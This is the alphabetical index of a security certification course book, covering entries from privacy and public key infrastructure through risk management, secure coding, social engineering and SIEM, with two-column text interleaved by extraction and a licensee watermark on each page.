predictability, cryptographic private key, 318 pseudo-anonymization
weaknesses, 115 usage of, 126 process, 451
predictive analysis, threat private network (intranet) pseudo RNG (PRNG), 114‑115
intelligence sources, 31 zones, 220 public (multi-tenant) cloud, 408
prepending, 78‑79 private/personal data, 441 public (unclassified) data, 440
preservation and integrity of private subnets, 423 publicity, incident response plan
evidence, 494 privilege access management, 187 (IRP), 459
pre-shared key authentication, privileged access management public key cryptography
307 (PAM), 202 algorithms
pretexting, 75‑76 privilege escalation cryptographic concepts,
Pretty Good Privacy (PGP), arbitrary code execution, 366 101‑102
134, 152 error handling, 367 digital envelopes, 105‑106
preventative control, 9, 10 horizontal privilege usage of, 126
principle of consensus (social escalation, 366 Public Key Cryptography
proof), 75 improper input handling, 367 Standards (PKCS), 129
Privacy, Authentication, Integrity, pen test attack life cycle, 70 public key infrastructure (PKI)
Non-Repudiation (PAIN), 2 remote code execution, 366 digital certificates, 106
privacy and data protection vertical privilege escalation, guidelines for, 145
controls. see data privacy and 366 hierarchical (Intermediate
protection controls privilege management, CA), 127‑128
privacy and data sensitivity personnel policies, 182‑183 identity management
concepts. see data privacy and PRNG. see pseudo RNG (PRNG) control, 180
sensitivity concepts process analysis, malware online vs offline CAs, 128
privacy breaches, 443‑444 indicators, 90‑91 single CA, 127
privacy-enhanced electronic process automation systems, smart-card authentication, 164
mail (PEM), 140 334‑335 trust model, 127
privacy enhancing technologies, production, development usage of, 126
451 environments, 400 public keys
privacy notices, 442 programmatic access, 420 asymmetric encryption,
Privacy Shield, 443 proprietary firewalls, 266 100‑101
privacy terms of agreement, proprietary information, 440‑441 authentication and non-
444‑445 repudiation, 111‑112, 312

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-30 | Index

confidentiality of, 112‑113 QuarkMatter, 88 red team, penetration testing,

digital certificates, 106, 130 query (read-only access), 288 68‑69
digital envelopes and key quibits, 120 redundancy strategies
exchange, 105‑106 asynchronous and
digital signatures, 104‑105 R synchronous replication, 520
elliptic curve cryptography disk redundancy, 519
race conditions, time of check to
(ECC), 102 fault tolerance and
time of use (TOCTTOU), 368
man-in-the-middle attack redundancy, 517
radio firmware, 361
(MitM), 116‑117 geographical dispersal, 520
radio frequency ID (RFID)
signature algorithm, 108 geographical redundancy, 520
alarms, 544
symmetric encryption, 99 geographical replication, 520
connection method, 359
public notification and high availability, 516‑517
RADIUS. see remote
disclosure of data breaches, 444 maximum tolerable
authentication dial-in user
public subnets, 423 downtime (MTD), 516
service (RADIUS)
public zone signing key, 287 network redundancy, 518
RADIUS Federation, 243
pulverizing, 552 power redundancy, 517‑518
rail fence cipher, 98
Puppet cloud orchestration scalability and elasticity,
rainbow table attacks, 160
platform, 430 516‑517
Random Access Memory
PUPs (potentially unwanted Redundant Array of
(RAM), 491
programs), 82, 83 Independent Disks (RAID)
ransomware
purple team, penetration disk redundancy, 519
malware classifications, 88‑89
testing, 69 geographical redundancy, 520
payload classifications, 82
purpose limitation (personal refactoring, 369
RAs (registration authorities),
data), 442 regex (regular expression)
128‑129
push notifications, 361 syntax, 279
Raspberry Pi, 332
Python malicious indicators, 396 regional replication, 422
RAT. see remote access trojans
Python script environment registration authorities (RAs),
(RATs)
branching statements, 392 128‑129
RAT (remote access tool/
control block, 391‑392 registry setting, 326
Trojan), 70
execution of, 392 regular expression (regex)
RBAC (role-based access
logic and looping statements, syntax, 279
control), 199
391‑392 regulations
RDP (Remote Desktop
modules, 392 Computer Security Act
Protocol), 310
variables, 391 (1987), 13
read-only access (query), 288
General Data Protection
read/write access (update), 288
Q really simple syndication
Regulation (GDPR), 13‑14,
442, 443
qualitative risk assessment, (RSS), 295
Health Insurance Portability
503‑504 real-time operating system
and Accountability Act
quality assurance (QA), 400 (RTOS), 332, 361
(HIPAA), 14, 444, 504
quality of service (QoS), 252 real-time transport protocol
Payment Card Industry Data
quantitative risk assessment (RTP), 298‑299
Security Standard (PCI DSS),
annualized rate of reception personnel, 546
14, 442, 504
occurrence (ARO), 503 reconnaissance, 381, 460
Sarbanes-Oxley Act (SOX),
annual loss expectancy Recorded Future, 27
13, 504
(ALE), 503 recovery agent user, 134
remote access Trojans (RATs)
exposure factor (EF), 502 recovery point objective (RPO),
as attack vectors, 23
single loss expectancy 509‑510, 523
data exfiltration, 448
(SLE), 502 recovery time, incident response
malware classifications, 86‑87
quantum cryptographic plan (IRP), 459
organizational security, 45
technology, 120‑121 recovery time objective (RTO),
payload classifications, 82
quarantine, 450, 479 509
penetration testing, 70

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-31

remote authentication dial-in rich communication services risk mitigation/remediation, 504

user service (RADIUS) (RCS), 360‑361 risk register, 506
Challenge Handshake rights management services, 450 risk response, 500
Authentication Protocol RIP (Routing Information risk transference, 505
(CHAP), 166‑167 Protocol), 219 risk types
extensible authentication risk acceptance, 505 external, 501
Protocol (EAP), 166‑167 Risk and Control Assessment intellectual property (IP)
Password Authentication (RCA), 501 theft, 501‑502
Protocol (PAP), 166‑167 Risk and Control Self- internal, 501
Secure Shell (SSH), 312 Assessment (RSCA), 501 legacy systems, 502
remote code execution, 366 risk appetite, 505 multiparty, 501
Remote Desktop Protocol Risk Assessment Method software compliance and
(RDP), 310 (CIS-RAM), 12 licensing, 502
remote desktop protocol (RDP), risk assessments (RA), 501 RMF. see risk management
412‑413 risk avoidance, 504 framework (RMF)
remote hosts, connectivity, route risk awareness, 505‑506 rogue access points, 243‑244
and traceroute, 37 risk deterrence/reduction, 504 role-based access control
remotely triggered blackhole risk management (RBAC), 199
(RTBH), 249 control risk, 505 root accounts, 184‑185
remote sign-in, Windows degree of risk root certificates
authentication, 154 impact of risk, 500‑501 digital certificates, 135
remote wipe, 349‑350 likelihood of threat, 500 key recovery, 138
removable media attack vector, guidelines for, 514 OpenSSL, 141‑142
22‑23 heat map risk matrix, 506 public key infrastructure
replay attacks, 374‑375 inherent risk, 504 (PKI), 127‑128
replication, data, 422‑423 processes, 500‑501 update or revoke, 478
Representational State Transfer qualitative risk assessment, rooting, 353‑354
(REST), 430 503‑504 rootkits, 82, 87‑88
reputational threat quantitative risk assessment, route, network reconnaissance
intelligence, 26 502‑503 tools, 37
reputation damage, 443 residual risk, 505 routed appliance firewall, 259
Request for Comments (RFC), 28 risk acceptance, 505 route injections (spoofed routing
residual risk, 505 Risk and Control Assessment information) vulnerabilities, 233
resource exhaustion, 368‑369 (RCA), 501 router firewall, 260
resource policies, 421 Risk and Control Self- routers
response headers Assessment (RSCA), 501 network appliances, 217‑218
Cache Control, 385 risk appetite, 505 network log files, 469
Content Security Policy risk assessments (RA), 501 RouterSploit, exploitation
(CSP), 385 risk avoidance, 504 frameworks, 46
HTTP Strict Transport risk awareness, 505‑506 route security
Security (HSTS), 385 risk register, 506 software exploits, 233
restoration order, 527‑528 risk transference, 505 source routing vulnerabilities,
retention policy, 463, 466 risk types, 501‑502 233
retinal scan, 174 security assessment, 18 spoofed routing information
retrospective network analysis strategies, 504 (route injections)
(RNA), 472 see also business impact vulnerabilities, 233
reverse proxy CASBs, 427 analysis (BIA) routing and switching protocols
reverse proxy servers, 262 Risk Management Framework Address Resolution Protocol
reverse shell, 396 (RMF) (ARP), 218‑219
revocation lists, certificate, defined, 11 Border Gateway Protocol
138‑139 enterprise risk management (BGP), 219
RFC (Request for Comments), 28 (ERM), 501

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-32 | Index

Enhanced Interior Gateway Samsung Pay, 360 deployment and automation

Routing Protocol (EIGRP), 219 SAN (subject alternative name), concepts
Internet Protocol (IP), 219 130‑131 application development,
layer 2 forwarding, 218 sandboxing, 329, 401 deployment, and
layer 3 forwarding, 218 Sarbanes-Oxley Act (SOX), 13, 504 automation, 399
network redundancy, 518 SASL (Simple Authentication and automation/scripting
Open Shortest Path First Security Layer), 288 release paradigms, 401‑403
(OSPF), 219 SATA, 554 provisioning control, 401
Routing Information Protocol SAWs (secure admin. secure application
(RIP), 219 workstations), 310 development
routing configuration, route and scalability and elasticity, 516‑517 environments, 399‑401
traceroute, 37‑38 scan intrusiveness, 60 software diversity, 403
Routing Information Protocol scanless, network version control, 401
(RIP), 219 reconnaissance tools, 41 guidelines for, 405
RSA algorithm encryption, 101, SCAP. see Secure Content secure coding practices
104‑105 Application Protocol (SCAP) compiled code, 387
RSS (Really Simple Syndication), scheduling load balancers, 250 data exposure, 385
295 scope, incident response plan dead code, 386
rsylog, 468 (IRP), 459 dynamic code analysis,
RTBH (remotely triggered screened hosts, 223 387‑388
blackhole), 249 screened subnet, 222 memory management, 385
RTP (Real-Time Transport screen lock, 349 obfuscation/camouflage
Protocol), 298‑299 scripting, 390 code, 386‑387
rule-based access control script kiddies, defined, 20 secure code usage, 386
conditional access, 201‑202 script virus, 83 secure coding techniques,
privileged access SEAndroid, 347 383‑384
management (PAM), 202 secret ciphers, 98 server-side vs. client-side
rules of engagement, secret key, 99, 420 validation, 384
penetration tests, 67‑68 secrets management, 419‑420 static code analysis, 387
runbook, 459, 479 Sectigo/Comodo, 127 unreachable code, 386
sector-specific (vertical) web application security,
S legislation, 13‑14 384‑385
secure access service edge secure script environments
SA (Security Associations), 307
(SASE), 427 execution control, 393‑394
sabotage, insider threats, 22
secure admin. workstations malicious code indicators,
SAE (Simultaneous
(SAWs), 310 394‑396
Authentication of Equals), 238
secure application concepts PowerShell script
Safari, 470
application attack, indicators environment, 392‑393
safes, secure areas, 549
DLL injection, 369 Python script
Salesforce, 409
driver manipulation, 369 environment, 390‑392
salt, 115, 160
memory leak, 368‑369 scripting, 390
salting
null pointer dereference, web application attacks
cryptographic attacks, 117
368 application programming
database deidentification
overflow vulnerabilities, interfaces (APIs)
methods, 452
367‑368 attacks, 374
SAM (Security Accounts
pass the hash (PtH) canonicalization
Manager), 154
attack, 369‑370 attack, 379
SameSite attributes, 384
privilege escalation, command injection
SAML (security assertions
366‑367 attack, 379
markup language), 204‑205
race conditions, 368 cross-site scripting (XSS)
Samsung
resource exhaustion, attacks, 376‑377
KNOX, 346
368‑369

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-33

directory traversal private cloud, 408 service integration,

injection attack, 379 public (multi-tenant) 429‑430
extensible markup cloud, 408 software-defined
language (XML) cloud security controls networking (SDN), 431‑432
injection, 378 cloud access security software-defined visibility
Lightweight Directory brokers (CASB), 426‑427 (SDV), 432
Access Protocol (LDAP) cloud firewall security, 425 virtualization technologies
injection, 379 cloud networking application virtualization,
replay attacks, 374‑375 security, 423 413‑414
server-side request cloud storage security, components of, 411‑412
forgery (SSRF), 380‑389 421‑422 container virtualization,
session hijacking, 375‑376 data replication, 422‑423 413‑414
structured query high availability (HA), thin clients, 412‑413
language (SQL) injection 422‑423 virtual desktop
attacks, 377‑378 identity and access environment (VDE), 413
uniform resource locator management (IAM), virtual desktop
(URL) analysis, 372‑373 419‑420 infrastructure (VDI),
XML External Entity secure web gateway 412‑413
attack, 378 (SWG), 427 VM escaping protection,
secure application development security groups, 425‑426 414‑415
environments VPCs and transit VM sprawl avoidance,
development environments, gateways, 424 415‑416
400‑401 cloud security integration secure code usage, 386
quality assurance (QA), 400 and auditing, 418‑419 secure coding practices
software development life cloud service models compiled code, 387
cycle (SDLC), 399‑400 anything as a service data exposure, 385
secure application protocols (Xaas), 409‑410 dead code, 386
API considerations, 294‑295 consultants, 411 dynamic code analysis,
email services, 296‑298, 297 infrastructure as a service 387‑388
file transfer services, 295‑296 (IaaS), 409, 410 memory management, 385
hypertext transfer protocol Managed Security obfuscation/camouflage
secure (HTTPS), 292 Services Provider code, 386‑387
subscription services, 295 (MSSP), 411 secure code usage, 386
Transport Layer Security platform as a service secure coding techniques,
(TLS), 292‑294 (PaaS), 409, 410 383‑384
voice and video services, Security as a Service server-side vs. client-side
298‑299 (SECaaS), 411 validation, 384
secure areas software as a service static code analysis, 387
air gaped host, 549 (SaaS), 409 unreachable code, 386
colocation cages, 548‑549 guidelines for, 435 web application security,
demilitarized zone (DMZ), 549 Infrastructure as Code 384‑385
safes, 549 concepts secure coding techniques
vaults, 549 application programming input validation, 383
secure boot, 319 interfaces (APIs), 430 normalization, string
secure cloud solutions edge computing, 432‑433 inputs, 383
cloud compute security, fog computing, 432‑433 outputting encoding, 383‑384
420‑421 infrastructure as code secure configuration
cloud deployment models (IaC), 431 baseline, 401
community cloud, serverless architecture, secure configuration guides
408‑409 430‑431 application servers, 13
hosted private cloud, 408

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-34 | Index

network appliance platform, personal area networks network topology and

12‑13 (PANs), 357 zones, 220‑224
operating systems (OS), 12‑13 push notifications, 361 routing and switching
vendor-specific guides, 12‑13 rich communication services protocols, 218‑219
web server applications, 13 (RCS), 360‑361 weakness of, 216
Secure Content Application short message service zero trust, 224‑225
Protocol (SCAP), 59 (SMS), 360 network mapping, 227
secure cookies USB connection methods, 360 secure switching and routing
HttpOnly attributes, 384 Wi-Fi and tethering ARP poisoning attacks, 228
SameSite attributes, 384 connection methods, 357 loop prevention, 229‑230
secure data destruction, 552‑553 Wi-Fi direct, 357 MAC cloning, 227
secure directory service, 288‑289 Secure Multipart Internet MAC flooding, 228‑229
Secure Erase (SE), 554 Message Extensions (S/MINE), 134 man-in-the-middle attack
secure filmware, implementing Secure/Multipurpose Internet (MitM), 227
boot integrity, 319‑320 Mail Extensions (S/MIMI), 297‑298 network access control,
disk encryption, 320‑321 secure network designs 231‑232
end of life (EOL), 322‑323 eavesdropping, 227 on-path attack, 227
end of service life (EOSL), guidelines for implementing, physical port security and
322‑323 254 MAC filtering, 230‑231
hardware root of trust (RoT), load balancers route security, 232‑233
318‑319 amplification attack, secure wireless infrastructure
organizational security 247‑248 controller and access
agreements, 323 application attacks, point security, 236‑237
third-party risk management, 247‑248 disassociation and replay
322 clustering, 250‑251 attacks, 244‑245
USB and flash drive security, distributed denial of EAP-Tunneled TLS (EAP-
321‑322 service (DDoS), 247, TTLS), 242‑243
secure hash algorithm (SHA), 248‑249 enterprise/IEEE 802.1X
97‑98 DNS amplification authentication, 240‑241
secure IMAP (IMAPS), 297 attack, 248 extensible authentication
secure mobile device layer 4 load balancer, 249 protocol (EAP), 241‑242
connections layer 7 load balancer, 249 jamming attacks, 245
ad hoc network, 357 Network Time Protocol open authentication and
bluetooth connection (NTP), 247‑248 captive portals, 239‑240
methods, 358‑359 operational technology Protected Extensible
cellular data connections, (OT) attacks, 248 Authentication Protocol
356‑357 persistence, 250 (PEAP), 242
firmware over the air quality of service RADIUS Federation, 243
updates, 361 (QoS), 252 rogue access points and
global positioning system scheduling, 250 evil twins, 243‑244
(GPS), 357 source IP affinity, 250 secure wireless
guidelines for implementing, network architecture infrastructure, 243
364 business workflows, 217 Wi-Fi authentication
infrared and RFID connection east-west traffic methods, 238‑239
methods, 359 considerations, 224 Wi-Fi protected access
microwave radio connection IPv6, 224 (WPA), 237‑238
methods, 361‑362 network appliances, Wi-Fi protected setup
multimedia message service 217‑218 (WPS), 239
(MMS), 360 network segmentation, wireless network
near field communications 219‑220 installation
and mobile payment network segregation, 220 considerations, 235‑236
services, 359‑360 secure network protocols

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-35

DNS poisoning, 286‑287 Secure POP (POP3S), 297 man-in-the-middle attack

DNS security, 287‑288 secure remote access protocols (MitM), 227
domain name resolution, Internet Key Exchange (IKE), network access control, 231‑232
285‑286 307‑308 on-path attack, 227
guidelines for implementing, Internet Protocol Security physical port security and
315 (IPSec), 304‑309 MAC filtering, 230‑231
network address allocation, jump servers, 310‑311 route security, 232‑233
284‑285 out-of-band (OOB) secure transmission of
secure application protocols management, 310 credentials, onboarding
API considerations, remote access architecture, policies, 181
294‑295 301‑302 secure transport protocol
email services, 296‑297 Remote Desktop Protocol (SRTP), 299
file transfer services, (RDP), 310 secure web gateway (SWG),
295‑296 Secure Shell (SSH), 311‑313 272, 427
hypertext transfer SSL VPN, 303‑304 secure wireless infrastructure
protocol secure Transport Layer Security controller and access point
(HTTPS), 292 (TLS) VPN, 303‑304 security, 236‑237
Secure/Multipurpose Virtual Network Computing disassociation and replay
Internet Mail Extensions (VNC), 310 attacks, 244‑245
(S/MIMI), 297‑298 VPN client configuration, EAP-Tunneled TLS (EAP-TTLS),
subscription services, 295 308‑309 242‑243
Transport Layer Security secure script environments EAP with Flexible
(TLS), 292‑294 execution control, 393‑394 Authentication via Secure
voice and video services, malicious code indicators Tunneling (EAP-FAST), 243
298‑299 Bourne Again Shell (Bash) enterprise/IEEE 802.1X
secure directory service, malicious indicators, 396 authentication, 240‑241
288‑289 macros, 396‑397 extensible authentication
secure remote access man-in-the-browser protocol (EAP), 241‑242
protocols (MitB) attack, 397 jamming attacks, 245
Internet Key Exchange PowerShell malicious open authentication and
(IKE), 307‑308 indicators, 395 captive portals, 239‑240
Internet Protocol Security Python malicious Protected Extensible
(IPSec), 304‑309 indicators, 396 Authentication Protocol
jump servers, 310‑311 secure application (PEAP), 242
out-of-band (OOB) concepts, 394‑396 RADIUS Federation, 243
management, 310 Visual Basic for rogue access points and evil
remote access Applications (VBA), 396‑397 twins, 243‑244
architecture, 301‑302 PowerShell script Wi-Fi authentication
Remote Desktop Protocol environment, 392‑393 methods, 238‑239
(RDP), 310 Python script environment, Wi-Fi protected access (WPA),
Secure Shell (SSH), 311‑313 390‑392 237‑238
SSL VPN, 303‑304 scripting, 390 Wi-Fi protected setup
Transport Layer Security Secure Shell (SSH), 70, 311‑313 (WPS), 239
(TLS) VPN, 303‑304 Secure Sockets Layer (SSL), wireless network installation
Virtual Network 292, 376 considerations, 235‑236
Computing (VNC), 310 Secure Sockets Tunneling secure zones, 540‑541
VPN client configuration, Protocol (SSTP), 304 SecurID, 168
308‑309 secure switching and routing Security Accounts Manager
Simple Network ARP poisoning attacks, 228 (SAM), 154
Management Protocol loop prevention, 229‑230 security account types
(SNMP), 289‑290 MAC cloning, 227 guest accounts, 183‑184
time synchronization, 289 MAC flooding, 228‑229 standard users, 183

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-36 | Index

security and information event vulnerability scanning security guards, 544‑545

management (SIEM) techniques security guidance, 11
correlation rules, 466 application and web security identifier (SID), 191
dashboard, 466‑467 application scanners, 59 security information and event
logging platforms, 468‑469 configuration review, 63 management (SIEM)
retention policy, 466 credentialed vs. non- analysis and report review,
sensitivity and alerts, 467 credentialed scanning, 61 277‑278
sensors, 467 false positives, false cyber threat intelligence
trend analysis, 468 negatives, log reviews, (CTI), 26
Security as a Service (SECaaS), 411 61‑62 file manipulation, 278‑279
security assertions markup intrusive vs. non- grep command, 279
language (SAML), 204‑205 intrusive, 60 intelligence fusion, 64‑65
security assessments network vulnerability log aggregation, 277
automated vulnerability scanner, 58 log collection, 276‑277
scanning, 57‑63 threat hunting, 64‑65 monitoring services, 275
common vulnerabilities and vulnerability types regular expression (regex)
exposures (CVE) impact of, 53‑54 syntax, 279
Common Vulnerabilities kernel vulnerabilities, threat data feeds, 26
Scoring System (CVSS), 50‑51 security limitations,
59‑60 legacy platform cryptographic weaknesses
Secure Content vulnerabilities, 51 entropy and weak keys,
Application Protocol patch management, 50‑51 114‑115
(SCAP), 59 software vulnerabilities, predictability and reuse, 115
vulnerability feed, 59 50‑51 security locks, 533
guidelines for, 72 third-party risks, 54‑55 security monitoring data
organizational security weak host configurations, data privacy and sensitivity
exploitation frameworks, 51‑52 concepts, 438
45‑46 weak network mobile device management
Netcat, 46‑47 configurations, 52‑53 (MDM)
network reconnaissance zero-day vulnerability, 51 application management,
tools, 36‑42 Security Associations (SA), 307 352‑353
packet analysis, 43‑44 security content automation carrier unlocking, 353‑354
packet capture, 42 protocol (SCAP), 63 content management, 353
packet injection and security controls enterprise mobility
replay, 44‑45 compensating controls, 10 management (EMM), 345
protocol analysis, 42‑43 deterrent controls, 10 external media, 350
tcpdump, 42‑43 functional types full device encryption, 350
traffic analysis, 43‑44 corrective control, 9, 10 jailbreaking, 353‑354
penetration testing detective control, 9, 10 location services, 350‑352
defined, 67 preventative control, 9, 10 mobile access control
exercise types, 68‑69 guidelines for, 18 systems, 348‑349
passive and active managerial security control, mobile application
reconnaissance, 69‑70 8‑10, 9 management (MAM), 345
pen test attack life cycle, 70 operational security control, mobile device
rules of engagement, 67‑68 8‑10, 9 deployment models, 344
penetration tests, 57 physical controls, 9, 10 remote wipe/ kill switch,
risk management, 18 technical security controls, 349‑350
threat assessments, 18 8‑10, 9 rooting, 353‑354
threat hunting, 57 Security-Enhanced Linux, 347 secure mobile device
vulnerability assessments, security group-based connections
18, 57 privileges, 184 bluetooth connection
security groups, 425‑426 methods, 358‑359

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-37

cellular data connections, segmentation-based SHA (secure hash algorithm),

356‑357 containment, 476 97‑98
firmware over the air self-encrypting drives (SED), shared accounts, 186‑187
updates, 361 321, 554 shared authority, 182
global positioning system self-signed certificates, 135 shellcode, 85, 394
(GPS), 357 sensitive data, 441 shielding signals, 550
infrared and RFID sensitivity and alerts, 467 Shikata Ga Nai, 403
connection methods, 359 sensors, 335, 467 shim, 369
microwave radio sensors, site security, 543‑544 short message service (SMS),
connection methods, sentiment analysis, 278 170, 360
361‑362 separation of duties, 182 short term retention, 522
multimedia message serial attached SCIS (SAS), shoulder surfing, 77
service (MMS), 360 527, 554 shredding/pulping, 552
near field Server Authentication, 132 SID (security identifier), 191
communications and server-based errors (500 range), sideloading, 353
mobile payment services, 470 SIEM. see security information
359‑360 server certificate and event management (SIEM)
push notifications, 361 domain validation (DV), Signal, 458
rich communication 132‑133 signature algorithm, 108, 130
services (RCS), 360‑361 extended validation (EV), 133 signature-based detection,
short message service serverless architecture, 430‑431 270‑271
(SMS), 360 server-side attacks, 377‑378 signature recognition, 175
USB connection methods, server-side request forgery SiLK suite, 473
360 (SSRF), 380‑389 SIM. see subscriber identity
Wi-Fi and tethering server-side vs. client-side module (SIM)
connection methods, validation, 384 Simple Authentication and
357‑358 service discovery, Nmap Security Security Layer (SASL), 288
Security Onion, SIEM Scanner, 39‑40 simple bind, 288
dashboard, 467 service integration, 429‑430 simple message service (SMS),
security operations center (SOC), service level agreement (SLA), SMiShing, 78
5, 457 323, 418, 445 Simple Network Management
security orchestration, service models Protocol (SNMP), 38, 275, 289‑290
automation, and response local service accounts, 185 Simple Object Access Protocol
(SOAR) network service accounts, 186 (SOAP), 204‑205
automation courses of system accounts, 185 simulations, 462
action, 402‑403 service organization control Simultaneous Authentication of
IR mitigation controls, 479 (SOC2), 11‑12 Equals (SAE), 238
network security service organization control single CA, 127
appliances, 278 (SOC3), 12 single loss expectancy (SLE), 502
security policy service-oriented architecture single pass zero filling, 553
defined, 4 (SOA) for clouds, 429 single points of failure (SPoF),
shared authority, 182 service set identifier (SSID), 235 510‑511
standard operating session hijacking single sign-on (SSO), 155
procedures (SOPs), 182 clickjacking, 376 sinkhole routing, 249
security roles cross-site request forgery SIP (Session Initiation Protocol),
CIA Triad, 2 (XSRF)/(CSRF), 375‑376 298‑299
competencies, 3‑4 Secure Sockets Layer (SSL) site layout, 540‑541
guidelines for, 18 strip attack, 376 site resiliency, 532‑533
information security, PAIN, 2 Session Initiation Protocol (SIP), site risk assessment, 511
Security Technical 298‑299, 471 site security
Implementations Guides sFlow, 473 alarm systems and sensors,
(STIGs), 12 SFTP (SSH FTP), 296 543‑544

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-38 | Index

barricades and entry/exit SOAR. see security orchestration, software development kit
points, 541 automation, and response (SDK), 386
cable locks, 543 (SOAR) software development life cycle
fencing, 541 SOC. see security operations (SDLC)
gateways and locks, 542‑543 center (SOC) agile development, 400
industrial camouflage, 541 SOC2. see service organization waterfall model, 400
lighting, 541 control (SOC2) software diversity, 403
mantraps, 543 SOC3. see service organization software exploits, 233
physical access controls, 540 control (SOC3) Software Restriction Policies
physical attacks of smart social engineering techniques (SRP), 394
cards and USB, 543 active reconnaissance, 69 software vulnerabilities, 19, 50‑51
reception personnel and ID credential databases, 77 solid state drives (SSD)
badges, 546 credential harvesting, 82 Instant Secure Erase (ISE), 554
security guards and cameras, defined, 74 nonvolatile storage media, 493
544‑545 dumpster diving, 76 Secure Erase (SE), 554
site layout, 540‑541 guidelines for, 93 secure filmware,
site survey, 236 hoaxes, 78‑79 implementing, 320
site-to-site model, 302 identity fraud, 77 Something You Are
skimming, card attacks, 543 impersonation and trust, Authentication, 151
SkyHigh Networks, 426 75‑76 Something You Can Do
Sleuth Kit, 491 influence campaigns, 82 Authentication, 152
Small Computer System invoice scams, 77 Something You Do
Interface (SCSI), 520 lunchtime attacks, 77 Authentication, 151
smart buildings, 336 pharming, 79 Something You Exhibit
smart card attacks, 543 phishing, 77‑78 Authentication, 152
smart-card authentication, 164 piggy backing, 76 Something You Have
smart cards, 164 prepending, 78‑79 Authentication, 150‑151
smart devices, 335 pretexting, 75‑76 Something You Know
smart meter, 336 principles of, 74‑75 Authentication, 150, 152
smartphone authentication, shoulder surfing, 77 Somewhere You Are
348‑349 SMiShing, 78 Authentication, 152
S/MIMI (Secure/Multipurpose spam, 78‑79 sophistication level, of threat
Internet Mail Extensions), 297‑298 spear phishing, 78 actors, 19
S/MINE (Secure Multipart Internet tailgating, 76 SOPs (standard operating
Message Extensions), 134 typosquatting, 79 procedures), 182, 194
SMiShing, 78 vishing, 77‑78 source IP affinity, 250
SMS (Short Message Service), 170 watering hole attack, 79 source routing vulnerabilities, 233
SMS (simple message service), 78 whaling, 77‑78 SOX. see Sarbanes-Oxley Act (SOX)
SMTPS, 296 social media spam, 78‑79, 86‑87
Smurf, 248 analysis, 208 Spamhaus, open source
Sn1per, exploitation as attack vectors, 23 intelligence (OSINT), 28
frameworks, 46 threat research sources, 28 SPAN (switched port analyzer),
snapshot, 495 social proof, 75 42, 269‑270
snapshot backups, 525‑526 Social Security Number (SSN), 441 Spanning Tree Protocol (STP), 228
sniffing, test access port (TAP), 42 soft power, 82 spear phishing, 78
SNMP (Simple Network software as a service (SaaS), 409 specialized systems
Management Protocol), 38, 275, software compliance and facility automation, 336‑337
289‑290 licensing threat, 502 medical devices, 338
Snort, 268‑269 software-defined networking multifunction printers
snowflake systems, 431 (SDN), 431‑432 (MFPs), 337
SOAP (Simple Object Access software-defined visibility vehicles and drones, 338
Protocol), 204‑205 (SDV), 432 Voice over IP (VoIP), 337

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-39

Special Publications (NIST), 11 transport layer (OSI Layer 4), subscription services, 295
spectrum analyzer, 245 257‑258 substitution cipher, 98
split tunnel, VPN client state laws, 14 superuser account
configuration, 309 stateless operations, 256 identity and account
spoofed routing information stateless protocol, 374 management controls,
(route injections) vulnerabilities, Statements on Standards for 184‑185
233 Attestation Engagements (SSAE), weak host configurations, 51
spyware, 85 11‑12 supervisory control and data
SQL injection attacks, 377‑378 states of data acquisition (SCADA), 334‑335
SRTP (secure transport data at rest, 447 supplicant, 166
protocol), 299 data in processing, 447‑448 supply chain, as attack vectors, 23
SSAE. see Statements on data in transit (motion), 447 supply chain assessment, third-
Standards for Attestation data in use, 447 party risks, 54‑55
Engagements (SSAE) state table, 257 Suricata, 268
SSH. see Secure Shell (SSH) static acquisition, 493 surveillance systems, 336‑337,
SSH client authentication, 312 static and dynamic source 544‑545
SSH commands, 313 NAT, 264 suspended certificates, 138‑139
SSH FTP (SFTP), 296 static code analysis, 387 SWG (secure web gateway), 272
SSID (service set identifier), 235 static known treats, 19 switched port analyzer (SPAN),
SSL (Secure Sockets Layer), 292 statistical deviation analysis, 468 42, 269‑270
SSL VPN, 303‑304 steganography, 121‑122 switches, 217, 469, 518
SSO (single sign-on), 155, 295 STIGs, 12 Symantec
SSRF. see server-side request Stingray/International Mobile Blue Coat, 426
forgery (SSRF) Subscriber Identity (IMSI) data loss prevention (DLP), 450
SSTP (Secure Sockets Tunneling catcher, 361 Symantec/Broadcom, 345
Protocol), 304 storage area networks (SANs), symmetric cipher, 112
stacked overflow, 367 520, 527 symmetric encryption
Staged Payloads, 347 storage profiles, 421 Advanced Encryption
staging, development storage segmentation, 353 Standard (AES), 100
environments, 400 stored procedures, 386 block ciphers, 100
stakeholder management, STP (Spanning Tree Protocol), 228 bulk encryption, 105‑106
incident response (IR), 458 strategic intelligence, 487‑488 cryptographic concepts, 96
standalone intrusion stratum 1 (Top-Level NTP defined, 99
mechanism, 87 servers), 289 digital envelopes, 105‑106
standard naming conventions, stream ciphers, 100 initialization vector (IV), 100
531 stress testing, 387‑388 key Exchange, 105‑106
standard operating procedures structured exception handler key length, 100
(SOPs), 182, 194 (SEH), 385 secret key, 99
standards, 13‑14 structured query language (SQL) stream ciphers, 100
standard users, 183 injection attacks, 377‑378 synchronous replication, 520
stapling, 140 structured threat information SYN flood attacks, 247
Start-Process, 395 eXpression (STIX) Sysinternals, 90‑91
STARTTLS, 288, 296 OASIS CTI framework, 29‑30 syslog, 468
state actors, 20‑21, 21 Trusted Automated syslog-ng, 468‑469
stateful inspection firewalls eXchange of Indicator system accounts, 185
application aware firewalls, Information (TAXII), 30 system and security logs, 469
258 structured threats, 19 system-enforced account
application layer (OSI subject alternative name (SAN), policies, 192‑193
Layer 7), 258 digital certificates, 130‑131 system integration, third-party
iptables, 258‑259 subject name attributes, 130‑131 risks, 54
state table, 257 subscriber identity module system memory acquisition
(SIM), 333 crash dump, 492

Index

